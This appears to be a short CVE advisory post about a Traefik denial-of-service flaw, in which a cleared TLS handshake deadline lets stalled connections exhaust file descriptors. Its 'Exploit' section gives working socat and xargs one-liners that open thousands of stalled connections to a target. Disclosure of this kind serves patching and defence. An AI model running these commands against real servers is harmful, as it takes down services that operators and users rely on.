Listen to this Post
The vulnerability, identified in Traefik versions prior to 2.11.38 and 3.6.9, resides in how the proxy manages TLS handshakes on TCP routers. When Traefik processes a new TLS connection, it first sets a read deadline to perform protocol sniffing. After this initial peek, the code clears this deadline using `conn.SetDeadline(time.Time{})` before delegating the connection for the full TLS handshake and forwarding. A remote, unauthenticated attacker can exploit this by sending an incomplete TLS record and then ceasing data transmission. This causes the initial protocol sniffing to time out, after which the cleared deadline leaves the subsequent TLS handshake read operation with no timeout, stalling indefinitely. By opening numerous such connections in parallel, an attacker can exhaust system file descriptors and goroutines, leading to a denial of service (DoS) that impacts all services on the affected entrypoint. The issue is patched in Traefik versions 2.11.38 and 3.6.9 .
dailycve form:
Platform: Traefik
Version: <2.11.38,<3.6.9
Vulnerability : DoS Resource Exhaustion
Severity: High
date: 03/05/2026
Prediction: Patched versions available.
What Undercode Say:
Analytics:
The root cause is the clearing of the connection deadline in the `ServeTCP` function (pkg/server/router/tcp/router.go) after protocol sniffing but before the TLS handshake. This transforms a bounded read operation into an unbounded one, creating a trivial resource exhaustion vector .
Exploit:
A simple exploit uses a tool like `socat` or a custom script to send a partial TLS record and hold the connection open.
Example using a bash shell and socat to send a partial TLS client hello and then sleep, keeping the connection open. (echo -ne "\x16\x03\x01\x00\x00"; sleep 300) | socat - TCP4:<traefik_ip>:<port>
A loop can be used to simulate a denial-of-service attack.
Parallel connections using GNU parallel or xargs
seq 1 2000 | xargs -P 200 -I {} bash -c '(echo -ne "\x16\x03\x01\x00\x00"; sleep 300) | socat - TCP4:<traefik_ip>:<port> 2>/dev/null &'
Protection from this CVE:
The primary mitigation is to upgrade to the patched versions.
Upgrade Traefik using the standard method (e.g., binary download or container image) For Docker users: docker pull traefik:v3.6.9 For v2 users: docker pull traefik:v2.11.38
No effective workarounds exist other than upgrading .
Impact:
Successful exploitation leads to a denial of service. An attacker can exhaust the entrypoint’s file descriptors and goroutines, rendering the Traefik proxy unable to accept new connections and disrupting all services routed through that entrypoint. The CVSS v3.1 score is 7.5 (High) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H .
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow DailyCVE & Stay Tuned:
𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin
Gogs, Option Injection, CVE-2026-26194 (Medium)